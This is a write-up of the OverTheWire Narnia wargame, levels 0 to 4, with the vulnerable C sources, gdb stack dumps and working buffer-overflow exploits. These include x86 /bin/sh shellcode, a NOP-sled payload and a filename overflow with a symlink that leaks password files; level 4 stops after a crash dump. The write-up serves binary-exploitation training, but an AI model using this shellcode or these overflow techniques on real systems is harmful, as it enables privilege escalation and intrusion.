OverTheWire – Narnia – Level 0-4 – Writeup

This blogpost contains the solutions of how I solved the challenges of the OverTheWire Narnia series of challenges, this category of challenges are aimed at beginners to binary exploitation, similar to the earlier challenges of the Smashthestack IO challenges. The purpose of this wargame is to solve the current level’s problem to find the password for the next level. I will update this blogpost to contain the solutions for all the challenges as I complete the level.

NOTE: Before getting to the actual write-ups, I’ve redacted all the passwords with “*” to not give away the actual passwords.

Levels:

Level 0

narnia0@melinda:/narnia$ cat narnia0.c
/*
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
(at your option) any later version.

This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
GNU General Public License for more details.

You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
*/
#include <stdio.h>
#include <stdlib.h>

int main(){
long val=0x41414141;
char buf[20];

printf("Correct val's value from 0x41414141 -> 0xdeadbeef!\n");
printf("Here is your chance: ");
scanf("%24s",&buf);

printf("buf: %s\n",buf);
printf("val: 0x%08x\n",val);

if(val==0xdeadbeef)
system("/bin/sh");
else {
printf("WAY OFF!!!!\n");
exit(1);
}

return 0;
}

The above C code is the source code for the first challenge in the Narnia series of challenges offered by Overthewire.org, these challenges have been designed to have basic vulnerabilities. The goal of this challenge is to get the val varible to equal “0xdeadbeef” and if so the binary will give me a shell. The binary accepts one string input from the user and puts the string into a buffer of 20 bytes, straight away this looks like a buffer overflow vulnerability with the goal of overflowing the buffer and then overwriting the value of the varible called “val” which currently is “0x41414141” with the value of “0xdeadbeef”.

So the next step I sent a string of A’s with 4 C’s to test the vulnerability, the buffer is defined as 20 bytes in size which means if there is actually a vulnerability in the code when the binary takes the user input and places it directly into the buffer and the user input is greater then 20 bytes there should be an overflow, which is why I include 4 C’s which should overwrite the val varible.

narnia0@melinda:/narnia$ ./narnia0
Correct val’s value from 0x41414141 -> 0xdeadbeef!
Here is your chance: AAAAAAAAAAAAAAAAAAAACCCC
buf: AAAAAAAAAAAAAAAAAAAACCCC
val: 0x43434343
WAY OFF!!!!

As I expected there was an overflow when I entered a string greater then 20 bytes long. Next I want to get code execution which will allow me to view the password for the next level. Since the binary should give me a shell when the val varible equals “0xdeadbeef” which means if I replace the 4 C’s to be “0xdeadbeef” I should be given a shell and then simply just be able to cat out the password file. So below I used python to create my string with the “0xdeadbeef” overwrite included which is piped into the narnia0 binary.

narnia0@melinda:~$ python -c'print "A"*20 + "\xef\xbe\xad\xde"' | /narnia/narnia0
Correct val's value from 0x41414141 -> 0xdeadbeef!
Here is your chance: buf: AAAAAAAAAAAAAAAAAAAAï¾­Þ
val: 0xdeadbeef

Damn!!! I successfully overwrite the val varible with “0xdeadbeef” but I was not given a shell, this is because the shell closes straight away.

narnia0@melinda:~$ python -c'print "A"*20 + "\xef\xbe\xad\xde"';id | /narnia/narnia0
AAAAAAAAAAAAAAAAAAAAï¾­Þ
Correct val's value from 0x41414141 -> 0xdeadbeef!
Here is your chance: buf: uid=14000(narnia0)
val: 0x41414141
WAY OFF!!!!

I added an “id” command to be executed when the shell is be given, I can see the results of the command to be “uid=14000(narnia0)” but the results was not what I expected, again the command was executed after the shell from the binary had closed. I need to work out a way to keep the shell open. After running through a series of different commands I found the “cat” command kept the shell session open.

narnia0@melinda:/narnia$ (python -c'print "A"*20 + "\xef\xbe\xad\xde"'; cat) | ./narnia0
Correct val's value from 0x41414141 -> 0xdeadbeef!
Here is your chance: buf: AAAAAAAAAAAAAAAAAAAAᆳ
val: 0xdeadbeef
whoami
narnia1
id
uid=14000(narnia0) gid=14000(narnia0) euid=14001(narnia1) groups=14001(narnia1),14000(narnia0)
cat /etc/narnia_pass/narnia1
**********

Level 1

narnia1@melinda:/narnia$ cat narnia1.c
/*
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
(at your option) any later version.

This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
GNU General Public License for more details.

You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
*/
#include <stdio.h>

int main(){
int (*ret)();

if(getenv("EGG")==NULL){
printf("Give me something to execute at the env-variable EGG\n");
exit(1);
}

printf("Trying to execute EGG!\n");
ret = getenv("EGG");
ret();

return 0;
}

The source code above is for the binary narnia1, this is a simple vulnerability. The binary looks for an environment varible called “EGG” using the getenv() function and if the environment varible is executed. Since some of the challenges from the IO series of challenges from Smashthestack.org required me to insert some shellcode into a environment varible.

shellcode
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"

The above shellcode is what I planned to use to gain a shell, it is a “/bin/sh” payload which is the same shellcode I’ve used in several challenges from my IO walkthrough blogposts, the original location of shellcode is from smashing the stack for fun and profit. Using the below the command I was able to create the environment varible called “EGG” which will contain the shellcode.

export EGG=$(python -c'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"')

Next I simply just executed the binary which found the environment varible called “EGG” and executed the shellcode giving me a shell and then just used the cat command to print out the contents of the narnia2 password file.

narnia1@melinda:/narnia$ ./narnia1
Trying to execute EGG!
$ cat /etc/narnia_pass/narnia2
**********

Level 2

narnia2@melinda:/narnia$ cat narnia2.c
/*
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
(at your option) any later version.

This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
GNU General Public License for more details.

You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
*/
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

int main(int argc, char * argv[]){
char buf[128];

if(argc == 1){
printf("Usage: %s argument\n", argv[0]);
exit(1);
}
strcpy(buf,argv[1]);
printf("%s", buf);

return 0;
}

This is again another buffer overflow vulnerability in the binary file, the vulnerability is that the user input of “argv[1]” is copied directly into buffer called “buf” using the strcpy() function without any checking of the string and since the buffer is defined to be a length of 128 bytes in size if I send a string of more then 128 bytes I should be able to cause a buffer overflow in the binary’s execution.

Using GDB to debug my fuzzing of the potential buffer overflow. Using python I sent a string of increasing length of A’s until I caused a buffer overflow in the execution, I redid the overflow with the last 4 bytes in the string to be C’s to show the 4 bytes that overwrite the EIP register.

narnia2@melinda:/narnia$ gdb ./narnia2 -q
Reading symbols from /games/narnia/narnia2...(no debugging symbols found)...done.
(gdb) r $(python -c'print "\x41"*140 + "\x43"*4')
Starting program: /games/narnia/narnia2 $(python -c'print "\x41"*140 + "\x43"*4')

Program received signal SIGSEGV, Segmentation fault.
0x43434343 in ?? ()
(gdb) x/300x $esp
0xffffd6a0:    0x00000000    0xffffd734    0xffffd740    0xf7fd3000
0xffffd6b0:    0x00000000    0xffffd71c    0xffffd740    0x00000000
0xffffd6c0:    0x0804821c    0xf7fceff4    0x00000000    0x00000000
0xffffd6d0:    0x00000000    0x8947ceb3    0xbe426aa3    0x00000000
0xffffd6e0:    0x00000000    0x00000000    0x00000002    0x08048370
0xffffd6f0:    0x00000000    0xf7ff0a90    0xf7e453c9    0xf7ffcff4
0xffffd700:    0x00000002    0x08048370    0x00000000    0x08048391
0xffffd710:    0x08048424    0x00000002    0xffffd734    0x08048490
0xffffd720:    0x08048500    0xf7feb660    0xffffd72c    0xf7ffd918
0xffffd730:    0x00000002    0xffffd85e    0xffffd874    0x00000000
0xffffd740:    0xffffd905    0xffffd915    0xffffd920    0xffffd944
0xffffd750:    0xffffd957    0xffffd960    0xffffd96d    0xffffde8e
0xffffd760:    0xffffde99    0xffffdea5    0xffffdef2    0xffffdf09
0xffffd770:    0xffffdf18    0xffffdf24    0xffffdf35    0xffffdf3e
0xffffd780:    0xffffdf51    0xffffdf59    0xffffdf69    0xffffdfa0
0xffffd790:    0xffffdfc0    0x00000000    0x00000020    0xf7fdb420
0xffffd7a0:    0x00000021    0xf7fdb000    0x00000010    0x1f898975
0xffffd7b0:    0x00000006    0x00001000    0x00000011    0x00000064
0xffffd7c0:    0x00000003    0x08048034    0x00000004    0x00000020
0xffffd7d0:    0x00000005    0x00000008    0x00000007    0xf7fdc000
0xffffd7e0:    0x00000008    0x00000000    0x00000009    0x08048370
0xffffd7f0:    0x0000000b    0x000036b2    0x0000000c    0x000036b2
0xffffd800:    0x0000000d    0x000036b2    0x0000000e    0x000036b2
0xffffd810:    0x00000017    0x00000000    0x00000019    0xffffd83b
0xffffd820:    0x0000001f    0xffffdfe2    0x0000000f    0xffffd84b
0xffffd830:    0x00000000    0x00000000    0xd8000000    0x47e342a2
0xffffd840:    0x00a63b75    0x9ab5f04d    0x6903f01d    0x00363836
0xffffd850:    0x00000000    0x00000000    0x00000000    0x672f0000
0xffffd860:    0x73656d61    0x72616e2f    0x2f61696e    0x6e72616e
0xffffd870:    0x00326169    0x41414141    0x41414141    0x41414141
0xffffd880:    0x41414141    0x41414141    0x41414141    0x41414141
0xffffd890:    0x41414141    0x41414141    0x41414141    0x41414141
0xffffd8a0:    0x41414141    0x41414141    0x41414141    0x41414141
0xffffd8b0:    0x41414141    0x41414141    0x41414141    0x41414141
0xffffd8c0:    0x41414141    0x41414141    0x41414141    0x41414141
0xffffd8d0:    0x41414141    0x41414141    0x41414141    0x41414141
0xffffd8e0:    0x41414141    0x41414141    0x41414141    0x41414141
0xffffd8f0:    0x41414141    0x41414141    0x41414141    0x41414141
0xffffd900:    0x43434343    0x45485300    0x2f3d4c4c    0x2f6e6962
0xffffd910:    0x68736162    0x52455400    0x74783d4d    0x006d7265
0xffffd920:    0x5f485353    0x45494c43    0x323d544e    0x312e3230
0xffffd930:    0x312e3435    0x322e3530    0x34203834    0x33353038
0xffffd940:    0x00323220    0x5f485353    0x3d595454    0x7665642f
0xffffd950:    0x7374702f    0x4c00372f    0x4c415f43    0x00433d4c
0xffffd960:    0x52455355    0x72616e3d    0x3261696e    0x5f534c00
0xffffd970:    0x4f4c4f43    0x723d5352    0x3a303d73    0x303d6964
0xffffd980:    0x34333b31    0x3d6e6c3a    0x333b3130    0x686d3a36
0xffffd990:    0x3a30303d    0x343d6970    0x33333b30    0x3d6f733a
0xffffd9a0:    0x333b3130    0x6f643a35    0x3b31303d    0x623a3533
0xffffd9b0:    0x30343d64    0x3b33333b    0x633a3130    0x30343d64
0xffffd9c0:    0x3b33333b    0x6f3a3130    0x30343d72    0x3b31333b
0xffffd9d0:    0x733a3130    0x37333d75    0x3a31343b    0x333d6773
0xffffd9e0:    0x33343b30    0x3d61633a    0x343b3033    0x77743a31
0xffffd9f0:    0x3b30333d    0x6f3a3234    0x34333d77    0x3a32343b
0xffffda00:    0x333d7473    0x34343b37    0x3d78653a    0x333b3130
0xffffda10:    0x2e2a3a32    0x3d726174    0x333b3130    0x2e2a3a31
0xffffda20:    0x3d7a6774    0x333b3130    0x2e2a3a31    0x3d6a7261
0xffffda30:    0x333b3130    0x2e2a3a31    0x3d7a6174    0x333b3130
0xffffda40:    0x2e2a3a31    0x3d687a6c    0x333b3130    0x2e2a3a31
0xffffda50:    0x616d7a6c    0x3b31303d    0x2a3a3133    0x7a6c742e
0xffffda60:    0x3b31303d    0x2a3a3133    0x7a78742e    0x3b31303d
0xffffda70:    0x2a3a3133    0x70697a2e    0x3b31303d    0x2a3a3133
0xffffda80:    0x303d7a2e    0x31333b31    0x5a2e2a3a    0x3b31303d
0xffffda90:    0x2a3a3133    0x3d7a642e    0x333b3130    0x2e2a3a31
0xffffdaa0:    0x303d7a67    0x31333b31    0x6c2e2a3a    0x31303d7a
0xffffdab0:    0x3a31333b    0x7a782e2a    0x3b31303d    0x2a3a3133
0xffffdac0:    0x327a622e    0x3b31303d    0x2a3a3133    0x3d7a622e
0xffffdad0:    0x333b3130    0x2e2a3a31    0x3d7a6274    0x333b3130
0xffffdae0:    0x2e2a3a31    0x327a6274    0x3b31303d    0x2a3a3133
0xffffdaf0:    0x3d7a742e    0x333b3130    0x2e2a3a31    0x3d626564
0xffffdb00:    0x333b3130    0x2e2a3a31    0x3d6d7072    0x333b3130
0xffffdb10:    0x2e2a3a31    0x3d72616a    0x333b3130    0x2e2a3a31
0xffffdb20:    0x3d726177    0x333b3130    0x2e2a3a31    0x3d726165
0xffffdb30:    0x333b3130    0x2e2a3a31    0x3d726173    0x333b3130
0xffffdb40:    0x2e2a3a31    0x3d726172    0x333b3130    0x2e2a3a31

After the buffer overflow was caused I used gdb to view the state of the stack at the time of the overflow, the memory address of 0xffffd904 was overwritten by the 4 C’s. Using the same shellcode as I did in the previous challenge I plan to include the shellcode in my buffer and have the memory address of 0xffffd904 jump back to a point in the buffer and begin executing my shellcode. As part of this proposed attack plan I need to verify the length of the shellcode as it is important to send the correct buffer length to the binary.

root@Phlegethon:~# python -c'print(len("\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"))'
25

So the actual shellcode is 25 bytes in length, the string needs to be 144 bytes in length so I plan to fill the rest of the buffer up with NOPs and the last 4 bytes of the buffer to be the RET address of a memory address within the NOP sled. The below debugging in GDB was to be a PoC of the attack vector as well as to find the memory location of the RET address.

(gdb) r $(python -c'print "\x90"*115 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80" + "\x43"*4')
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /games/narnia/narnia2 $(python -c'print "\x90"*115 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80" + "\x43"*4')

Program received signal SIGSEGV, Segmentation fault.
0x43434343 in ?? ()
(gdb) x/250x $esp
0xffffd6a0:    0x00000000    0xffffd734    0xffffd740    0xf7fd3000
0xffffd6b0:    0x00000000    0xffffd71c    0xffffd740    0x00000000
0xffffd6c0:    0x0804821c    0xf7fceff4    0x00000000    0x00000000
0xffffd6d0:    0x00000000    0x86b43b80    0xb1b19f90    0x00000000
0xffffd6e0:    0x00000000    0x00000000    0x00000002    0x08048370
0xffffd6f0:    0x00000000    0xf7ff0a90    0xf7e453c9    0xf7ffcff4
0xffffd700:    0x00000002    0x08048370    0x00000000    0x08048391
0xffffd710:    0x08048424    0x00000002    0xffffd734    0x08048490
0xffffd720:    0x08048500    0xf7feb660    0xffffd72c    0xf7ffd918
0xffffd730:    0x00000002    0xffffd85e    0xffffd874    0x00000000
0xffffd740:    0xffffd905    0xffffd915    0xffffd920    0xffffd944
0xffffd750:    0xffffd957    0xffffd960    0xffffd96d    0xffffde8e
0xffffd760:    0xffffde99    0xffffdea5    0xffffdef2    0xffffdf09
0xffffd770:    0xffffdf18    0xffffdf24    0xffffdf35    0xffffdf3e
0xffffd780:    0xffffdf51    0xffffdf59    0xffffdf69    0xffffdfa0
0xffffd790:    0xffffdfc0    0x00000000    0x00000020    0xf7fdb420
0xffffd7a0:    0x00000021    0xf7fdb000    0x00000010    0x1f898975
0xffffd7b0:    0x00000006    0x00001000    0x00000011    0x00000064
0xffffd7c0:    0x00000003    0x08048034    0x00000004    0x00000020
0xffffd7d0:    0x00000005    0x00000008    0x00000007    0xf7fdc000
0xffffd7e0:    0x00000008    0x00000000    0x00000009    0x08048370
0xffffd7f0:    0x0000000b    0x000036b2    0x0000000c    0x000036b2
0xffffd800:    0x0000000d    0x000036b2    0x0000000e    0x000036b2
0xffffd810:    0x00000017    0x00000000    0x00000019    0xffffd83b
0xffffd820:    0x0000001f    0xffffdfe2    0x0000000f    0xffffd84b
0xffffd830:    0x00000000    0x00000000    0xf5000000    0xbddafb32
0xffffd840:    0xcf3fbc8c    0x499b46af    0x69664c26    0x00363836
0xffffd850:    0x00000000    0x00000000    0x00000000    0x672f0000
0xffffd860:    0x73656d61    0x72616e2f    0x2f61696e    0x6e72616e
0xffffd870:    0x00326169    0x90909090    0x90909090    0x90909090
0xffffd880:    0x90909090    0x90909090    0x90909090    0x90909090
0xffffd890:    0x90909090    0x90909090    0x90909090    0x90909090
0xffffd8a0:    0x90909090    0x90909090    0x90909090    0x90909090
0xffffd8b0:    0x90909090    0x90909090    0x90909090    0x90909090
0xffffd8c0:    0x90909090    0x90909090    0x90909090    0x90909090
0xffffd8d0:    0x90909090    0x90909090    0x90909090    0x90909090
0xffffd8e0:    0x90909090    0x31909090    0x2f6850c0    0x6868732f
0xffffd8f0:    0x6e69622f    0x5350e389    0xc289e189    0x80cd0bb0
0xffffd900:    0x43434343    0x45485300    0x2f3d4c4c    0x2f6e6962
0xffffd910:    0x68736162    0x52455400    0x74783d4d    0x006d7265
0xffffd920:    0x5f485353    0x45494c43    0x323d544e    0x312e3230
0xffffd930:    0x312e3435    0x322e3530    0x34203834    0x33353038
0xffffd940:    0x00323220    0x5f485353    0x3d595454    0x7665642f
0xffffd950:    0x7374702f    0x4c00372f    0x4c415f43    0x00433d4c
0xffffd960:    0x52455355    0x72616e3d    0x3261696e    0x5f534c00
0xffffd970:    0x4f4c4f43    0x723d5352    0x3a303d73    0x303d6964
0xffffd980:    0x34333b31    0x3d6e6c3a    0x333b3130    0x686d3a36
0xffffd990:    0x3a30303d    0x343d6970    0x33333b30    0x3d6f733a
0xffffd9a0:    0x333b3130    0x6f643a35    0x3b31303d    0x623a3533
0xffffd9b0:    0x30343d64    0x3b33333b    0x633a3130    0x30343d64
0xffffd9c0:    0x3b33333b    0x6f3a3130    0x30343d72    0x3b31333b
0xffffd9d0:    0x733a3130    0x37333d75    0x3a31343b    0x333d6773
0xffffd9e0:    0x33343b30    0x3d61633a    0x343b3033    0x77743a31
0xffffd9f0:    0x3b30333d    0x6f3a3234    0x34333d77    0x3a32343b
0xffffda00:    0x333d7473    0x34343b37    0x3d78653a    0x333b3130
0xffffda10:    0x2e2a3a32    0x3d726174    0x333b3130    0x2e2a3a31
0xffffda20:    0x3d7a6774    0x333b3130    0x2e2a3a31    0x3d6a7261
0xffffda30:    0x333b3130    0x2e2a3a31    0x3d7a6174    0x333b3130
0xffffda40:    0x2e2a3a31    0x3d687a6c    0x333b3130    0x2e2a3a31
0xffffda50:    0x616d7a6c    0x3b31303d    0x2a3a3133    0x7a6c742e
0xffffda60:    0x3b31303d    0x2a3a3133    0x7a78742e    0x3b31303d
0xffffda70:    0x2a3a3133    0x70697a2e    0x3b31303d    0x2a3a3133
0xffffda80:    0x303d7a2e    0x31333b31

So I chose the memory location of “0xffffd8c0” which is located in the middle of the NOP sled. I then took my exploit string and exploited the buffer overflow vulnerability to gain a shell with the privileges of the narnia3 and then cat the password file of narnia3.

narnia2@melinda:/narnia$ ./narnia2 $(python -c'print "\x90"*115 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80" + "\xc0\xd8\xff\xff"')
$ whoami
narnia3
$ cat /etc/narnia_pass/narnia3
**********

Level 3

narnia3@melinda:/narnia$ cat narnia3.c
/*
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
(at your option) any later version.

This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
GNU General Public License for more details.

You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
*/
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char **argv){

int  ifd,  ofd;
char ofile[16] = "/dev/null";
char ifile[32];
char buf[32];

if(argc != 2){
printf("usage, %s file, will send contents of file 2 /dev/null\n",argv[0]);
exit(-1);
}

/* open files */
strcpy(ifile, argv[1]);
if((ofd = open(ofile,O_RDWR)) < 0 ){
printf("error opening %s\n", ofile);
exit(-1);
}
if((ifd = open(ifile, O_RDONLY)) < 0 ){
printf("error opening %s\n", ifile);
exit(-1);
}

/* copy from file1 to file2 */
read(ifd, buf, sizeof(buf)-1);
write(ofd,buf, sizeof(buf)-1);
printf("copied contents of %s to a safer place... (%s)\n",ifile,ofile);

/* close 'em */
close(ifd);
close(ofd);

exit(1);
}

The source code for this next binary at first looks very complicated but again this is just a buffer overflow vulnerability again. The overflow occurs in the ifile buffer where a long file name can overwrite the ofile file.

narnia3@melinda:~$ gdb -q /narnia/narnia3
Reading symbols from /games/narnia/narnia3...(no debugging symbols found)...done.
(gdb) disas main
Dump of assembler code for function main:
0x080484d4 <+0>:     push   %ebp
0x080484d5 <+1>:     mov    %esp,%ebp
0x080484d7 <+3>:     and    $0xfffffff0,%esp
0x080484da <+6>:     sub    $0x70,%esp
0x080484dd <+9>:     movl   $0x7665642f,0x58(%esp)    ;ofile /dev
0x080484e5 <+17>:    movl   $0x6c756e2f,0x5c(%esp)    ;ofile /nul
0x080484ed <+25>:    movl   $0x6c,0x60(%esp)            ;ofile l
0x080484f5 <+33>:    movl   $0x0,0x64(%esp)            ;ofile \0
0x080484fd <+41>:    cmpl   $0x2,0x8(%ebp)
0x08048501 <+45>:    je     0x8048525 <main+81>
0x08048503 <+47>:    mov    0xc(%ebp),%eax
0x08048506 <+50>:    mov    (%eax),%edx
0x08048508 <+52>:    mov    $0x8048710,%eax
0x0804850d <+57>:    mov    %edx,0x4(%esp)
0x08048511 <+61>:    mov    %eax,(%esp)
0x08048514 <+64>:    call   0x80483a0 <printf@plt>
0x08048519 <+69>:    movl   $0xffffffff,(%esp)
0x08048520 <+76>:    call   0x80483d0 <exit@plt>
0x08048525 <+81>:    mov    0xc(%ebp),%eax
0x08048528 <+84>:    add    $0x4,%eax
0x0804852b <+87>:    mov    (%eax),%eax
0x0804852d <+89>:    mov    %eax,0x4(%esp)
0x08048531 <+93>:    lea    0x38(%esp),%eax            ;ifile
....

As I showed in the disassemble of the main function in gdb, the ofile is begins to be defined at 0x58 and ifile is at 0x38 which is a length of 32 bytes in length. Since the input for ifile is copied from the user input into the ifile with the strcpy() which does not perform any checks of the length of the input. This means if I give a file name of more then 32 bytes in length I can overwrite the ofile file from /dev/null to whatever I would like.

To begin with I create a file in the /tmp directory called “nsimattstiles” which is where I want the password for the next level to end up, and then made the file world readable and then made a directory within the /tmp directory of called “bbbbbbbbbbbbbbbbbbbbbbbbbbb” which is 27 b’s and then inside that directory I created another directory called /tmp. The entire length of the file name called

narnia3@melinda:/tmp$ touch /tmp/nsimattstiles
narnia3@melinda:/tmp$ chmod 777 /tmp/nsimattstiles
narnia3@melinda:/tmp$ cd ./$(python -c'print "b"*27')
narnia3@melinda:/tmp/bbbbbbbbbbbbbbbbbbbbbbbbbbb$ cd ./tmp
narnia3@melinda:~$ python -c'print(len("/tmp/bbbbbbbbbbbbbbbbbbbbbbbbbbb"))'
32

So as you can see in the command outputs above is that the directory name of “/tmp/bbbbbbbbbbbbbbbbbbbbbbbbbbb” is 32 bytes in length which means the directory called “/tmp” within the “/tmp/bbbbbbbbbbbbbbbbbbbbbbbbbbb” will begin to overwrite the ofile if passed to the binary. The next step was to link the “/tmp/nsimattstiles” file with the password file using the link command in linux, this means when the nsimattstiles files is cat the file actual cats out the contents of the password file “/etc/narnia_pass/narnia4”.

narnia3@melinda:/tmp/bbbbbbbbbbbbbbbbbbbbbbbbbbb/tmp$ ln -s /etc/narnia_pass/narnia4 ./nsimattstiles
narnia3@melinda:/tmp/bbbbbbbbbbbbbbbbbbbbbbbbbbb/tmp$ ls -lh
total 0
lrwxrwxrwx 1 narnia3 narnia3 24 Nov 12 07:50 nsimattstiles -> /etc/narnia_pass/narnia4

The next step is just to pass the binary the long filename for the ifile buffer and then cat out my password file.

narnia3@melinda:/tmp/bbbbbbbbbbbbbbbbbbbbbbbbbbb/tmp$ /narnia/narnia3 $(python -c'print "/tmp/" + "b"*27 + "/tmp/nsimattstiles"')
copied contents of /tmp/bbbbbbbbbbbbbbbbbbbbbbbbbbb/tmp/nsimattstil to a safer place... (/tmp/nsimattstil)
narnia3@melinda:/tmp/bbbbbbbbbbbbbbbbbbbbbbbbbbb/tmp$ cat /tmp/nsimattstiles
**********
ÿ/Üÿÿô`narnia3@melinda:/tmp/bbbbbbbbbbbbbbbbbbbbbbbbbbb/tmp/tmp$

Level 4

narnia4@melinda:~$ cat /narnia/narnia4.c
/*
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
(at your option) any later version.

This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
GNU General Public License for more details.

You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
*/

#include <string.h>
#include <stdlib.h>
#include <stdio.h>
#include <ctype.h>

extern char **environ;

int main(int argc,char **argv){
int i;
char buffer[256];

for(i = 0; environ[i] != NULL; i++)
memset(environ[i], '\0', strlen(environ[i]));

if(argc>1)
strcpy(buffer,argv[1]);

return 0;
}

This is another buffer overflow vulnerability straight away I had planned to use the same method of passing the binary my shellcode as I did in the Narnia2 challenge, when I re-read through the source code I realised this was the only way the shellcode can be passed to the binary anyways as it is set to null. So I opened up gdb and began debugging the binary sending it increasing in length strings beginning at 260 until I caused a SIGSEV error.

(gdb) r $(python -c'print "A"*276')
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /games/narnia/narnia4 $(python -c'print "A"*276')

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) x/250x $esp
0xffffd620:     0x00000000      0xffffd6b4      0xffffd6c0      0xf7fd3000
0xffffd630:     0x00000000      0xffffd61c      0xffffd6c0      0x00000000
0xffffd640:     0x0804824c      0xf7fceff4      0x00000000      0x00000000
0xffffd650:     0x00000000      0x2cd80063      0x1bdca473      0x00000000
0xffffd660:     0x00000000      0x00000000      0x00000002      0x08048390
0xffffd670:     0x00000000      0xf7ff0a90      0xf7e453c9      0xf7ffcff4
0xffffd680:     0x00000002      0x08048390      0x00000000      0x080483b1
0xffffd690:     0x08048444      0x00000002      0xffffd6b4      0x08048500
0xffffd6a0:     0x08048570      0xf7feb660      0xffffd6ac      0xf7ffd918
0xffffd6b0:     0x00000002      0xffffd7d5      0xffffd7eb      0x00000000
0xffffd6c0:     0xffffd900      0xffffd910      0xffffd91b      0xffffd93f
0xffffd6d0:     0xffffd952      0xffffd95b      0xffffd968      0xffffde89
0xffffd6e0:     0xffffde94      0xffffde9f      0xffffdeec      0xffffdf03
0xffffd6f0:     0xffffdf12      0xffffdf24      0xffffdf35      0xffffdf3e
0xffffd700:     0xffffdf51      0xffffdf59      0xffffdf69      0xffffdfa0
0xffffd710:     0xffffdfc0      0x00000000      0x00000020      0xf7fdb420
0xffffd720:     0x00000021      0xf7fdb000      0x00000010      0x1f898975
0xffffd730:     0x00000006      0x00001000      0x00000011      0x00000064
0xffffd740:     0x00000003      0x08048034      0x00000004      0x00000020
0xffffd750:     0x00000005      0x00000008      0x00000007      0xf7fdc000
0xffffd760:     0x00000008      0x00000000      0x00000009      0x08048390
0xffffd770:     0x0000000b      0x000036b4      0x0000000c      0x000036b4
0xffffd780:     0x0000000d      0x000036b4      0x0000000e      0x000036b4
0xffffd790:     0x00000017      0x00000000      0x00000019      0xffffd7bb
0xffffd7a0:     0x0000001f      0xffffdfe2      0x0000000f      0xffffd7cb
0xffffd7b0:     0x00000000      0x00000000      0xf1000000      0x206ad5f0
0xffffd7c0:     0xe7ce69ba      0x3bf6e642      0x69a79926      0x00363836
0xffffd7d0:     0x00000000      0x61672f00      0x2f73656d      0x6e72616e
0xffffd7e0:     0x6e2f6169      0x696e7261      0x41003461      0x41414141
0xffffd7f0:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffd800:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffd810:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffd820:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffd830:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffd840:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffd850:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffd860:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffd870:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffd880:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffd890:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffd8a0:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffd8b0:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffd8c0:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffd8d0:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffd8e0:     0x41414141      0x41414141      0x41414141      0x41414141
